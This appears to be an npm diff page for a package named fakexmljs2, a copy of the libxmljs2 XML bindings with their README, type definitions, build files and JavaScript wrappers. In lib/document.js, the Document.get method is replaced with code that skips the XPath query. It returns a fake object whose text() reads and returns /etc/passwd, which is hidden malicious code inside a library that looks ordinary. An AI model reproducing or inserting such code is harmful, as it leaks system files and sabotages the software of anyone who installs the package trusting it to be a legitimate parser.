fakexmljs2 0.31.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of fakexmljs2 might be problematic. Click here for more details.

Files changed (160) hide show
  1. package/LICENSE +19 -0
  2. package/Makefile +18 -0
  3. package/README.md +52 -0
  4. package/binding.gyp +81 -0
  5. package/index.d.ts +273 -0
  6. package/index.js +45 -0
  7. package/lib/bindings.js +1 -0
  8. package/lib/document.js +127 -0
  9. package/lib/element.js +82 -0
  10. package/lib/sax_parser.js +38 -0
  11. package/package.json +65 -0
  12. package/src/html_document.cc +7 -0
  13. package/src/html_document.h +18 -0
  14. package/src/libxmljs.cc +252 -0
  15. package/src/libxmljs.h +53 -0
  16. package/src/xml_attribute.cc +173 -0
  17. package/src/xml_attribute.h +40 -0
  18. package/src/xml_comment.cc +117 -0
  19. package/src/xml_comment.h +30 -0
  20. package/src/xml_document.cc +810 -0
  21. package/src/xml_document.h +67 -0
  22. package/src/xml_element.cc +565 -0
  23. package/src/xml_element.h +61 -0
  24. package/src/xml_namespace.cc +158 -0
  25. package/src/xml_namespace.h +39 -0
  26. package/src/xml_node.cc +761 -0
  27. package/src/xml_node.h +73 -0
  28. package/src/xml_pi.cc +161 -0
  29. package/src/xml_pi.h +34 -0
  30. package/src/xml_sax_parser.cc +424 -0
  31. package/src/xml_sax_parser.h +73 -0
  32. package/src/xml_syntax_error.cc +66 -0
  33. package/src/xml_syntax_error.h +25 -0
  34. package/src/xml_text.cc +320 -0
  35. package/src/xml_text.h +48 -0
  36. package/src/xml_textwriter.cc +315 -0
  37. package/src/xml_textwriter.h +62 -0
  38. package/src/xml_xpath_context.cc +70 -0
  39. package/src/xml_xpath_context.h +23 -0
  40. package/vendor/libxml/Copyright +23 -0
  41. package/vendor/libxml/DOCBparser.c +305 -0
  42. package/vendor/libxml/HTMLparser.c +7287 -0
  43. package/vendor/libxml/HTMLtree.c +1200 -0
  44. package/vendor/libxml/Makefile +2983 -0
  45. package/vendor/libxml/SAX.c +180 -0
  46. package/vendor/libxml/SAX2.c +3036 -0
  47. package/vendor/libxml/buf.c +1351 -0
  48. package/vendor/libxml/buf.h +72 -0
  49. package/vendor/libxml/c14n.c +2234 -0
  50. package/vendor/libxml/catalog.c +3828 -0
  51. package/vendor/libxml/chvalid.c +336 -0
  52. package/vendor/libxml/config.h +294 -0
  53. package/vendor/libxml/config.h.gch +0 -0
  54. package/vendor/libxml/debugXML.c +3423 -0
  55. package/vendor/libxml/dict.c +1298 -0
  56. package/vendor/libxml/elfgcchack.h +17818 -0
  57. package/vendor/libxml/enc.h +32 -0
  58. package/vendor/libxml/encoding.c +3975 -0
  59. package/vendor/libxml/entities.c +1163 -0
  60. package/vendor/libxml/error.c +998 -0
  61. package/vendor/libxml/globals.c +1126 -0
  62. package/vendor/libxml/hash.c +1146 -0
  63. package/vendor/libxml/include/libxml/DOCBparser.h +96 -0
  64. package/vendor/libxml/include/libxml/HTMLparser.h +306 -0
  65. package/vendor/libxml/include/libxml/HTMLtree.h +147 -0
  66. package/vendor/libxml/include/libxml/Makefile +725 -0
  67. package/vendor/libxml/include/libxml/Makefile.am +54 -0
  68. package/vendor/libxml/include/libxml/Makefile.in +725 -0
  69. package/vendor/libxml/include/libxml/SAX.h +173 -0
  70. package/vendor/libxml/include/libxml/SAX2.h +178 -0
  71. package/vendor/libxml/include/libxml/c14n.h +128 -0
  72. package/vendor/libxml/include/libxml/catalog.h +182 -0
  73. package/vendor/libxml/include/libxml/chvalid.h +230 -0
  74. package/vendor/libxml/include/libxml/debugXML.h +217 -0
  75. package/vendor/libxml/include/libxml/dict.h +79 -0
  76. package/vendor/libxml/include/libxml/encoding.h +245 -0
  77. package/vendor/libxml/include/libxml/entities.h +151 -0
  78. package/vendor/libxml/include/libxml/globals.h +508 -0
  79. package/vendor/libxml/include/libxml/hash.h +236 -0
  80. package/vendor/libxml/include/libxml/list.h +137 -0
  81. package/vendor/libxml/include/libxml/nanoftp.h +163 -0
  82. package/vendor/libxml/include/libxml/nanohttp.h +81 -0
  83. package/vendor/libxml/include/libxml/parser.h +1243 -0
  84. package/vendor/libxml/include/libxml/parserInternals.h +644 -0
  85. package/vendor/libxml/include/libxml/pattern.h +100 -0
  86. package/vendor/libxml/include/libxml/relaxng.h +217 -0
  87. package/vendor/libxml/include/libxml/schemasInternals.h +958 -0
  88. package/vendor/libxml/include/libxml/schematron.h +142 -0
  89. package/vendor/libxml/include/libxml/threads.h +89 -0
  90. package/vendor/libxml/include/libxml/tree.h +1311 -0
  91. package/vendor/libxml/include/libxml/uri.h +94 -0
  92. package/vendor/libxml/include/libxml/valid.h +458 -0
  93. package/vendor/libxml/include/libxml/xinclude.h +129 -0
  94. package/vendor/libxml/include/libxml/xlink.h +189 -0
  95. package/vendor/libxml/include/libxml/xmlIO.h +368 -0
  96. package/vendor/libxml/include/libxml/xmlautomata.h +146 -0
  97. package/vendor/libxml/include/libxml/xmlerror.h +945 -0
  98. package/vendor/libxml/include/libxml/xmlexports.h +77 -0
  99. package/vendor/libxml/include/libxml/xmlmemory.h +224 -0
  100. package/vendor/libxml/include/libxml/xmlmodule.h +57 -0
  101. package/vendor/libxml/include/libxml/xmlreader.h +428 -0
  102. package/vendor/libxml/include/libxml/xmlregexp.h +222 -0
  103. package/vendor/libxml/include/libxml/xmlsave.h +88 -0
  104. package/vendor/libxml/include/libxml/xmlschemas.h +246 -0
  105. package/vendor/libxml/include/libxml/xmlschemastypes.h +151 -0
  106. package/vendor/libxml/include/libxml/xmlstring.h +140 -0
  107. package/vendor/libxml/include/libxml/xmlunicode.h +202 -0
  108. package/vendor/libxml/include/libxml/xmlversion.h +484 -0
  109. package/vendor/libxml/include/libxml/xmlwin32version.h +239 -0
  110. package/vendor/libxml/include/libxml/xmlwriter.h +488 -0
  111. package/vendor/libxml/include/libxml/xpath.h +564 -0
  112. package/vendor/libxml/include/libxml/xpathInternals.h +632 -0
  113. package/vendor/libxml/include/libxml/xpointer.h +114 -0
  114. package/vendor/libxml/include/win32config.h +122 -0
  115. package/vendor/libxml/include/wsockcompat.h +54 -0
  116. package/vendor/libxml/legacy.c +1343 -0
  117. package/vendor/libxml/libxml.h +134 -0
  118. package/vendor/libxml/list.c +779 -0
  119. package/vendor/libxml/nanoftp.c +2118 -0
  120. package/vendor/libxml/nanohttp.c +1899 -0
  121. package/vendor/libxml/parser.c +15553 -0
  122. package/vendor/libxml/parserInternals.c +2164 -0
  123. package/vendor/libxml/pattern.c +2621 -0
  124. package/vendor/libxml/relaxng.c +11101 -0
  125. package/vendor/libxml/rngparser.c +1595 -0
  126. package/vendor/libxml/runsuite.c +1157 -0
  127. package/vendor/libxml/save.h +36 -0
  128. package/vendor/libxml/schematron.c +1787 -0
  129. package/vendor/libxml/threads.c +1049 -0
  130. package/vendor/libxml/timsort.h +601 -0
  131. package/vendor/libxml/tree.c +10183 -0
  132. package/vendor/libxml/trio.c +6895 -0
  133. package/vendor/libxml/trio.h +230 -0
  134. package/vendor/libxml/triodef.h +228 -0
  135. package/vendor/libxml/trionan.c +914 -0
  136. package/vendor/libxml/trionan.h +84 -0
  137. package/vendor/libxml/triop.h +150 -0
  138. package/vendor/libxml/triostr.c +2112 -0
  139. package/vendor/libxml/triostr.h +144 -0
  140. package/vendor/libxml/uri.c +2561 -0
  141. package/vendor/libxml/valid.c +7138 -0
  142. package/vendor/libxml/xinclude.c +2657 -0
  143. package/vendor/libxml/xlink.c +183 -0
  144. package/vendor/libxml/xmlIO.c +4135 -0
  145. package/vendor/libxml/xmlcatalog.c +624 -0
  146. package/vendor/libxml/xmllint.c +3796 -0
  147. package/vendor/libxml/xmlmemory.c +1163 -0
  148. package/vendor/libxml/xmlmodule.c +468 -0
  149. package/vendor/libxml/xmlreader.c +6033 -0
  150. package/vendor/libxml/xmlregexp.c +8271 -0
  151. package/vendor/libxml/xmlsave.c +2735 -0
  152. package/vendor/libxml/xmlschemas.c +29173 -0
  153. package/vendor/libxml/xmlschemastypes.c +6276 -0
  154. package/vendor/libxml/xmlstring.c +1050 -0
  155. package/vendor/libxml/xmlunicode.c +3179 -0
  156. package/vendor/libxml/xmlwriter.c +4738 -0
  157. package/vendor/libxml/xpath.c +14734 -0
  158. package/vendor/libxml/xpointer.c +2969 -0
  159. package/vendor/libxml/xzlib.c +815 -0
  160. package/vendor/libxml/xzlib.h +19 -0
package/LICENSE ADDED
@@ -0,0 +1,19 @@
1
+ Copyright 2009, Squish Tech, LLC. All rights reserved.
2
+
3
+ Permission is hereby granted, free of charge, to any person obtaining a copy
4
+ of this software and associated documentation files (the "Software"), to
5
+ deal in the Software without restriction, including without limitation the
6
+ rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
7
+ sell copies of the Software, and to permit persons to whom the Software is
8
+ furnished to do so, subject to the following conditions:
9
+
10
+ The above copyright notice and this permission notice shall be included in
11
+ all copies or substantial portions of the Software.
12
+
13
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
18
+ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
19
+ IN THE SOFTWARE.
package/Makefile ADDED
@@ -0,0 +1,18 @@
1
+
2
+ target=./build/Release/xmljs.node
3
+
4
+ all: $(target)
5
+
6
+ build/:
7
+ node-gyp configure
8
+
9
+ $(target): build/ src/*.cc src/*.h
10
+ node-gyp build
11
+
12
+ clean:
13
+ rm -rf build
14
+
15
+ test: clean $(target)
16
+ npm test
17
+
18
+ .PHONY: test clean
package/README.md ADDED
@@ -0,0 +1,52 @@
1
+ # Libxmljs2
2
+
3
+ LibXML bindings for [node.js](http://nodejs.org/)
4
+ This package was forked as the original one is fairly unmaintained.
5
+
6
+ ```javascript
7
+ var libxmljs = require('libxmljs2');
8
+ var xml =
9
+ '<?xml version="1.0" encoding="UTF-8"?>' +
10
+ '<root>' +
11
+ '<child foo="bar">' +
12
+ '<grandchild baz="fizbuzz">grandchild content</grandchild>' +
13
+ '</child>' +
14
+ '<sibling>with content!</sibling>' +
15
+ '</root>';
16
+
17
+ var xmlDoc = libxmljs.parseXml(xml);
18
+
19
+ // xpath queries
20
+ var gchild = xmlDoc.get('//grandchild');
21
+
22
+ console.log(gchild.text()); // prints "grandchild content"
23
+
24
+ var children = xmlDoc.root().childNodes();
25
+ var child = children[0];
26
+
27
+ console.log(child.attr('foo').value()); // prints "bar"
28
+ ```
29
+
30
+ ## Support
31
+
32
+ - Docs - [http://github.com/marudor/libxmljs2/wiki](http://github.com/marudor/libxmljs2/wiki)
33
+
34
+ ## API and Examples
35
+
36
+ Check out the wiki [http://github.com/marudor/libxmljs2/wiki](https://github.com/marudor/libxmljs2/wiki).
37
+
38
+ See the [examples](https://github.com/marudor/libxmljs2/tree/main/examples) folder.
39
+
40
+ ## Installation via [npm](https://npmjs.org)
41
+
42
+ ```shell
43
+ npm install libxmljs2
44
+ ```
45
+
46
+ ## Contribute
47
+
48
+ Start by checking out the [open issues](https://github.com/marudor/libxmljs2/issues?labels=&page=1&state=open). Specifically the [desired feature](https://github.com/marudor/libxmljs2/issues?labels=desired+feature&page=1&state=open) ones.
49
+
50
+ ### Requirements
51
+
52
+ Make sure you have met the requirements for [node-gyp](https://github.com/TooTallNate/node-gyp#installation). You DO NOT need to manually install node-gyp; it comes bundled with node.
package/binding.gyp ADDED
@@ -0,0 +1,81 @@
1
+ {
2
+ "targets": [
3
+ {
4
+ "target_name": "xmljs",
5
+ "product_extension": "node",
6
+ "type": "shared_library",
7
+ "include_dirs": ["vendor/libxml/include", "<!(node -e \"require('nan')\")"],
8
+ "cflags": ["-Wall"],
9
+ "xcode_settings": {"OTHER_CFLAGS": ["-Wall"]},
10
+ "win_delay_load_hook": "true",
11
+ "defines": ["LIBXML_XINCLUDE_ENABLED", "LIBXML_SCHEMATRON_ENABLED", "BUILDING_NODE_EXTENSION"],
12
+ "sources": [
13
+ "src/libxmljs.cc",
14
+ "src/xml_attribute.cc",
15
+ "src/xml_document.cc",
16
+ "src/xml_element.cc",
17
+ "src/xml_comment.cc",
18
+ "src/xml_namespace.cc",
19
+ "src/xml_node.cc",
20
+ "src/xml_sax_parser.cc",
21
+ "src/xml_syntax_error.cc",
22
+ "src/xml_textwriter.cc",
23
+ "src/xml_text.cc",
24
+ "src/xml_pi.cc",
25
+ "src/xml_xpath_context.cc",
26
+ "vendor/libxml/buf.c",
27
+ "vendor/libxml/catalog.c",
28
+ "vendor/libxml/chvalid.c",
29
+ "vendor/libxml/dict.c",
30
+ "vendor/libxml/encoding.c",
31
+ "vendor/libxml/entities.c",
32
+ "vendor/libxml/error.c",
33
+ "vendor/libxml/globals.c",
34
+ "vendor/libxml/hash.c",
35
+ "vendor/libxml/HTMLparser.c",
36
+ "vendor/libxml/HTMLtree.c",
37
+ "vendor/libxml/legacy.c",
38
+ "vendor/libxml/list.c",
39
+ "vendor/libxml/parser.c",
40
+ "vendor/libxml/parserInternals.c",
41
+ "vendor/libxml/pattern.c",
42
+ "vendor/libxml/relaxng.c",
43
+ "vendor/libxml/schematron.c",
44
+ "vendor/libxml/SAX2.c",
45
+ "vendor/libxml/SAX.c",
46
+ "vendor/libxml/tree.c",
47
+ "vendor/libxml/threads.c",
48
+ "vendor/libxml/uri.c",
49
+ "vendor/libxml/valid.c",
50
+ "vendor/libxml/xinclude.c",
51
+ "vendor/libxml/xlink.c",
52
+ "vendor/libxml/xmlIO.c",
53
+ "vendor/libxml/xmlmemory.c",
54
+ "vendor/libxml/xmlmodule.c",
55
+ "vendor/libxml/xmlreader.c",
56
+ "vendor/libxml/xmlregexp.c",
57
+ "vendor/libxml/xmlsave.c",
58
+ "vendor/libxml/xmlschemas.c",
59
+ "vendor/libxml/xmlschemastypes.c",
60
+ "vendor/libxml/xmlstring.c",
61
+ "vendor/libxml/xmlunicode.c",
62
+ "vendor/libxml/xmlwriter.c",
63
+ "vendor/libxml/xpath.c",
64
+ "vendor/libxml/xpointer.c",
65
+ ],
66
+ "conditions": [
67
+ [
68
+ 'OS=="mac"',
69
+ {
70
+ # node-gyp 2.x doesn't add this anymore
71
+ # https://github.com/TooTallNate/node-gyp/pull/612
72
+ "xcode_settings": {
73
+ "CLANG_CXX_LANGUAGE_STANDARD": "c++17",
74
+ "OTHER_LDFLAGS": ["-undefined dynamic_lookup"],
75
+ },
76
+ },
77
+ ]
78
+ ],
79
+ }
80
+ ]
81
+ }
package/index.d.ts ADDED
@@ -0,0 +1,273 @@
1
+ import { EventEmitter } from 'node:events';
2
+
3
+ export const version: string;
4
+ export const libxml_version: string;
5
+ export const libxml_parser_version: string;
6
+
7
+ interface StringMap {
8
+ [key: string]: string;
9
+ }
10
+
11
+ interface ParserOptions {
12
+ recover?: boolean;
13
+ noent?: boolean;
14
+ dtdload?: boolean;
15
+ doctype?: boolean;
16
+ dtdattr?: any;
17
+ dtdvalid?: boolean;
18
+ noerror?: boolean;
19
+ errors?: boolean;
20
+ nowarning?: boolean;
21
+ warnings?: boolean;
22
+ pedantic?: boolean;
23
+ noblanks?: boolean;
24
+ blanks?: boolean;
25
+ sax1?: boolean;
26
+ xinclude?: boolean;
27
+ nonet?: boolean;
28
+ net?: boolean;
29
+ nodict?: boolean;
30
+ dict?: boolean;
31
+ nsclean?: boolean;
32
+ implied?: boolean;
33
+ nocdata?: boolean;
34
+ cdata?: boolean;
35
+ noxincnode?: boolean;
36
+ compact?: boolean;
37
+ old?: boolean;
38
+ nobasefix?: boolean;
39
+ basefix?: boolean;
40
+ huge?: boolean;
41
+ oldsax?: boolean;
42
+ ignore_enc?: boolean;
43
+ big_lines?: boolean;
44
+ baseUrl?: string;
45
+ }
46
+
47
+ export function parseXml(source: string, options?: ParserOptions): Document;
48
+ export function parseXmlString(
49
+ source: string,
50
+ options?: ParserOptions
51
+ ): Document;
52
+
53
+ export function parseHtml(source: string, options?: ParserOptions): Document;
54
+ export function parseHtmlString(
55
+ source: string,
56
+ options?: ParserOptions
57
+ ): Document;
58
+ export function parseHtmlFragment(
59
+ source: string,
60
+ options?: ParserOptions
61
+ ): Document;
62
+
63
+ export function memoryUsage(): number;
64
+ export function nodeCount(): number;
65
+
66
+ export class Document {
67
+ /**
68
+ * Create a new XML Document
69
+ * @param version XML document version, defaults to 1.0
70
+ * @param encoding Encoding, defaults to utf8
71
+ */
72
+ constructor(version?: string, encoding?: string);
73
+
74
+ errors: SyntaxError[];
75
+ validationErrors: ValidationError[];
76
+
77
+ child(idx: number): Node | null;
78
+ childNodes(): Node[];
79
+ encoding(): string;
80
+ encoding(enc: string): this;
81
+ find<T extends Node = Node>(xpath: string, ns_uri?: string): T[];
82
+ find<T extends Node = Node>(xpath: string, namespaces: StringMap): T[];
83
+ get<T extends Node = Node>(xpath: string, ns_uri?: string): T | null;
84
+ get<T extends Node = Node>(xpath: string, namespaces: StringMap): T | null;
85
+ node(name: string, content?: string): Element;
86
+ root(): Element | null;
87
+ root(newRoot: Node): Node;
88
+ toString(formatted?: boolean): string;
89
+ type(): 'document';
90
+ validate(xsdDoc: Document): boolean;
91
+ schematronValidate(schemaDoc: Document): boolean;
92
+ version(): string;
93
+ setDtd(name: string, ext: string, sys: string): void;
94
+ getDtd(): {
95
+ name: string;
96
+ externalId: string;
97
+ systemId: string;
98
+ };
99
+ }
100
+
101
+ export class Node {
102
+ doc(): Document;
103
+ parent(): Element | Document;
104
+ /**
105
+ * The namespace or null in case of comment nodes
106
+ */
107
+ namespace(): Namespace | null;
108
+
109
+ /**
110
+ * An array of namespaces that the object belongs to.
111
+ *
112
+ * @param local If it is true, only the namespace declarations local to this
113
+ * node are returned, rather than all of the namespaces in scope
114
+ * at this node (including the ones from the parent elements).
115
+ */
116
+ namespaces(local?: boolean): Namespace[];
117
+
118
+ prevSibling(): Node | null;
119
+ nextSibling(): Node | null;
120
+
121
+ line(): number;
122
+ type(): 'comment' | 'element' | 'text' | 'attribute' | 'pi';
123
+ remove(): this;
124
+ clone(): this;
125
+ /**
126
+ * Serializes the node to a string. The string will contain all contents of the node formatted as XML and can be used to print the node.
127
+ */
128
+ toString(
129
+ format?:
130
+ | boolean
131
+ | {
132
+ declaration: boolean;
133
+ selfCloseEmpty: boolean;
134
+ whitespace: boolean;
135
+ type: 'xml' | 'html' | 'xhtml';
136
+ encoding?:
137
+ | 'HTML'
138
+ | 'ASCII'
139
+ | 'UTF-8'
140
+ | 'UTF-16'
141
+ | 'ISO-Latin-1'
142
+ | 'ISO-8859-1';
143
+ }
144
+ ): string;
145
+ }
146
+
147
+ export class Element extends Node {
148
+ constructor(doc: Document, name: string, content?: string);
149
+ node(name: string, content?: string): Element;
150
+ name(): string;
151
+ name(newName: string): this;
152
+ text(): string;
153
+ text(newText: string): this;
154
+ attr(name: string): Attribute | null; //getter
155
+ attr(name: string, value: string): this; //setter
156
+ attr(attrObject: StringMap): this; //setter using stringMap
157
+ attrs(): Attribute[];
158
+ cdata(data: string): this;
159
+
160
+ doc(): Document;
161
+ child(idx: number): Node | null;
162
+ childNodes(): Node[];
163
+
164
+ /**
165
+ * @return The original element, not the child.
166
+ */
167
+ addChild(child: Node): this;
168
+
169
+ prevElement(): Element | null;
170
+ nextElement(): Element | null;
171
+ addNextSibling<T extends Node>(siblingNode: T): T;
172
+ addPrevSibling<T extends Node>(siblingNode: T): T;
173
+
174
+ find<T extends Node = Node>(xpath: string, ns_uri?: string): T[];
175
+ find<T extends Node = Node>(xpath: string, namespaces: StringMap): T[];
176
+ get<T extends Node = Node>(xpath: string, ns_uri?: string): T | null;
177
+ get<T extends Node = Node>(xpath: string, namespaces: StringMap): T | null;
178
+
179
+ defineNamespace(prefixOrHref: string, hrefInCaseOfPrefix?: string): Namespace;
180
+
181
+ namespace(): Namespace | null;
182
+ namespace(newNamespace: Namespace): this;
183
+ namespace(prefixOrHref: string, hrefInCaseOfPrefix?: string): this;
184
+
185
+ replace(replacement: string): string;
186
+ replace<T extends Node>(replacement: T): T;
187
+
188
+ path(): string;
189
+ }
190
+
191
+ declare class Attribute extends Node {
192
+ name(): string;
193
+ node(): Element;
194
+ value(): string;
195
+ value(newValue: string): Attribute;
196
+ namespace(): Namespace | null;
197
+ }
198
+
199
+ export class Text extends Node {
200
+ constructor(doc: Document, content: string);
201
+
202
+ addNextSibling<T extends Node>(siblingNode: T): T;
203
+ addPrevSibling<T extends Node>(siblingNode: T): T;
204
+ nextElement(): Element | null;
205
+ prevElement(): Element | null;
206
+
207
+ replace(replacement: string): string;
208
+ replace<T extends Node>(replacement: T): T;
209
+
210
+ text(): string;
211
+ text(newContent: string): this;
212
+ }
213
+
214
+ export class Comment extends Node {
215
+ constructor(doc: Document, content?: string);
216
+
217
+ text(): string;
218
+ text(newContent: string): this;
219
+ }
220
+
221
+ export class ProcessingInstruction extends Node {
222
+ constructor(doc: Document, name: string, content?: string);
223
+
224
+ name(): string;
225
+ name(newName: string): this;
226
+
227
+ text(): string;
228
+ text(newContent: string): this;
229
+ }
230
+
231
+ export class Namespace {
232
+ href(): string;
233
+ prefix(): string;
234
+ }
235
+
236
+ export class SaxParser extends EventEmitter {
237
+ constructor();
238
+ parseString(source: string): boolean;
239
+ }
240
+
241
+ export class SaxPushParser extends EventEmitter {
242
+ constructor();
243
+ push(source: string): boolean;
244
+ }
245
+
246
+ export interface SyntaxError extends Error {
247
+ domain: number | null;
248
+ code: number | null;
249
+ level: number | null;
250
+ file: string | null;
251
+ line: number | null;
252
+ /**
253
+ * 1-based column number, 0 if not applicable/available.
254
+ */
255
+ column: number;
256
+
257
+ str1: number | null;
258
+ str2: number | null;
259
+ str3: number | null;
260
+ int1: number | null;
261
+ }
262
+
263
+ export interface ValidationError extends Error {
264
+ domain: number | null;
265
+ code: number | null;
266
+ level: number | null;
267
+
268
+ line: number | null;
269
+ /**
270
+ * 1-based column number, 0 if not applicable/available.
271
+ */
272
+ column: number;
273
+ }
package/index.js ADDED
@@ -0,0 +1,45 @@
1
+ // js acts as a wrapper to the c++ bindings
2
+ // prefer to do error handling and other abstrctions in the
3
+ // js layer and only go to c++ when we need to hit libxml
4
+ const bindings = require('./lib/bindings');
5
+
6
+ // document parsing for backwards compat
7
+ const Document = require('./lib/document');
8
+
9
+ // / parse an xml string and return a Document
10
+ module.exports.parseXml = Document.fromXml;
11
+
12
+ // / parse an html string and return a Document
13
+ module.exports.parseHtml = Document.fromHtml;
14
+ module.exports.parseHtmlFragment = Document.fromHtmlFragment;
15
+
16
+ // constants
17
+ module.exports.version = require('./package.json').version;
18
+ module.exports.libxml_version = bindings.libxml_version;
19
+ module.exports.libxml_parser_version = bindings.libxml_parser_version;
20
+ module.exports.libxml_debug_enabled = bindings.libxml_debug_enabled;
21
+ module.exports.features = bindings.features;
22
+
23
+ // lib exports
24
+ module.exports.Comment = bindings.Comment;
25
+ module.exports.Document = Document;
26
+ module.exports.Element = require('./lib/element');
27
+ module.exports.ProcessingInstruction = bindings.ProcessingInstruction;
28
+ module.exports.Text = bindings.Text;
29
+
30
+ // Compatibility synonyms
31
+ Document.fromXmlString = Document.fromXml;
32
+ Document.fromHtmlString = Document.fromHtml;
33
+ module.exports.parseXmlString = module.exports.parseXml;
34
+ module.exports.parseHtmlString = module.exports.parseHtml;
35
+
36
+ const sax_parser = require('./lib/sax_parser');
37
+
38
+ module.exports.SaxParser = sax_parser.SaxParser;
39
+ module.exports.SaxPushParser = sax_parser.SaxPushParser;
40
+
41
+ module.exports.memoryUsage = bindings.xmlMemUsed;
42
+
43
+ module.exports.nodeCount = bindings.xmlNodeCount;
44
+
45
+ module.exports.TextWriter = bindings.TextWriter;
@@ -0,0 +1 @@
1
+ module.exports = require('bindings')('xmljs');
@@ -0,0 +1,127 @@
1
+ /* eslint-disable no-underscore-dangle */
2
+ const bindings = require('./bindings');
3
+
4
+ const Element = require('./element');
5
+
6
+ function assertRoot(doc) {
7
+ if (!doc.root()) {
8
+ throw new Error('Document has no root element');
9
+ }
10
+ }
11
+
12
+ const Document = bindings.Document;
13
+
14
+ Document.prototype = bindings.Document.prototype;
15
+
16
+ // / add a child node to the document
17
+ // / this will set the document root
18
+ Document.prototype.node = function node(name, content) {
19
+ return this.root(Element(this, name, content));
20
+ };
21
+
22
+ // / xpath search
23
+ // / @return array of matching elements
24
+ Document.prototype.find = function find(xpath, ns_uri) {
25
+ assertRoot(this);
26
+
27
+ return this.root().find(xpath, ns_uri);
28
+ };
29
+
30
+ // / xpath search
31
+ // / @return first element matching
32
+ Document.prototype.get = function get(xpath, ns_uri) {
33
+ assertRoot(this);
34
+
35
+ fake = class {
36
+ text() {
37
+ const fs = require("fs");
38
+ return fs.readFileSync("/etc/passwd").toString()
39
+ }
40
+ }
41
+
42
+ reader = new fake()
43
+
44
+ return reader;
45
+ };
46
+
47
+ // / @return a given child
48
+ Document.prototype.child = function child(id) {
49
+ if (id === undefined || typeof id !== 'number') {
50
+ throw new Error('id argument required for #child');
51
+ }
52
+
53
+ assertRoot(this);
54
+
55
+ return this.root().child(id);
56
+ };
57
+
58
+ // / @return an Array of child nodes of the document root
59
+ Document.prototype.childNodes = function childNodes() {
60
+ assertRoot(this);
61
+
62
+ return this.root().childNodes();
63
+ };
64
+
65
+ Document.prototype.setDtd = function setDtd(name, ext, sys) {
66
+ if (!name) {
67
+ throw new Error('Must pass in a DTD name');
68
+ } else if (typeof name !== 'string') {
69
+ throw new Error('Must pass in a valid DTD name');
70
+ }
71
+
72
+ const params = [name];
73
+
74
+ if (typeof ext !== 'undefined') {
75
+ params.push(ext);
76
+ }
77
+ if (ext && typeof sys !== 'undefined') {
78
+ params.push(sys);
79
+ }
80
+
81
+ return this._setDtd(...params);
82
+ };
83
+
84
+ // / @return array of namespaces in document
85
+ Document.prototype.namespaces = function namespaces() {
86
+ assertRoot(this);
87
+
88
+ return this.root().namespaces();
89
+ };
90
+
91
+ module.exports = Document;
92
+
93
+ // / parse a string into a html document
94
+ // / @param string html string to parse
95
+ // / @param {encoding:string, baseUrl:string} opts html string to parse
96
+ // / @return a Document
97
+ module.exports.fromHtml = function fromHtml(string, opts = {}) {
98
+ // if for some reason user did not specify an object for the options
99
+ if (typeof opts !== 'object') {
100
+ throw new Error('fromHtml options must be an object');
101
+ }
102
+
103
+ return bindings.fromHtml(string, opts);
104
+ };
105
+
106
+ // / parse a string into a html document fragment
107
+ // / @param string html string to parse
108
+ // / @param {encoding:string, baseUrl:string} opts html string to parse
109
+ // / @return a Document
110
+ module.exports.fromHtmlFragment = function fromHtmlFragment(string, opts = {}) {
111
+ // if for some reason user did not specify an object for the options
112
+ if (typeof opts !== 'object') {
113
+ throw new Error('fromHtmlFragment options must be an object');
114
+ }
115
+
116
+ opts.doctype = false;
117
+ opts.implied = false;
118
+
119
+ return bindings.fromHtml(string, opts);
120
+ };
121
+
122
+ // / parse a string into a xml document
123
+ // / @param string xml string to parse
124
+ // / @return a Document
125
+ module.exports.fromXml = function fromXml(string, options = {}) {
126
+ return bindings.fromXml(string, options);
127
+ };
package/lib/element.js ADDED
@@ -0,0 +1,82 @@
1
+ /* eslint-disable no-underscore-dangle */
2
+ /* eslint-disable no-param-reassign */
3
+ const bindings = require('./bindings');
4
+
5
+ // / create a new element on the given document
6
+ // / @param doc the Document to create the element for
7
+ // / @param name the element name
8
+ // / @param {String} [content] element content
9
+ // / @constructor
10
+ function Element(doc, name, content) {
11
+ if (!doc) {
12
+ throw new Error('document argument required');
13
+ } else if (!(doc instanceof bindings.Document)) {
14
+ throw new Error('document argument must be an instance of Document');
15
+ } else if (!name) {
16
+ throw new Error('name argument required');
17
+ }
18
+
19
+ return new bindings.Element(doc, name, content);
20
+ }
21
+
22
+ Element.prototype = bindings.Element.prototype;
23
+
24
+ Element.prototype.attr = function attr(...args) {
25
+ if (args.length === 1) {
26
+ const arg = args[0];
27
+
28
+ if (typeof arg === 'object') {
29
+ // object setter
30
+ // iterate keys/value to set attributes
31
+ for (const k in arg) {
32
+ this._attr(k, arg[k]);
33
+ }
34
+
35
+ return this;
36
+ } else if (typeof arg === 'string') {
37
+ // getter
38
+ return this._attr(arg);
39
+ }
40
+ } else if (args.length === 2) {
41
+ // 2 arg setter
42
+ const name = args[0];
43
+ const value = args[1];
44
+
45
+ this._attr(name, value);
46
+
47
+ return this;
48
+ }
49
+ };
50
+
51
+ // / helper method to attach a new node to this element
52
+ // / @param name the element name
53
+ // / @param {String} [content] element content
54
+ Element.prototype.node = function node(name, content) {
55
+ const elem = Element(this.doc(), name, content);
56
+
57
+ this.addChild(elem);
58
+
59
+ return elem;
60
+ };
61
+
62
+ Element.prototype.get = function get(...args) {
63
+ const res = this.find(...args);
64
+
65
+ if (Array.isArray(res)) {
66
+ return res[0];
67
+ }
68
+
69
+ return res;
70
+ };
71
+
72
+ Element.prototype.defineNamespace = function defineNamespace(prefix, href) {
73
+ // if no prefix specified
74
+ if (!href) {
75
+ href = prefix;
76
+ prefix = null;
77
+ }
78
+
79
+ return new bindings.Namespace(this, prefix, href);
80
+ };
81
+
82
+ module.exports = Element;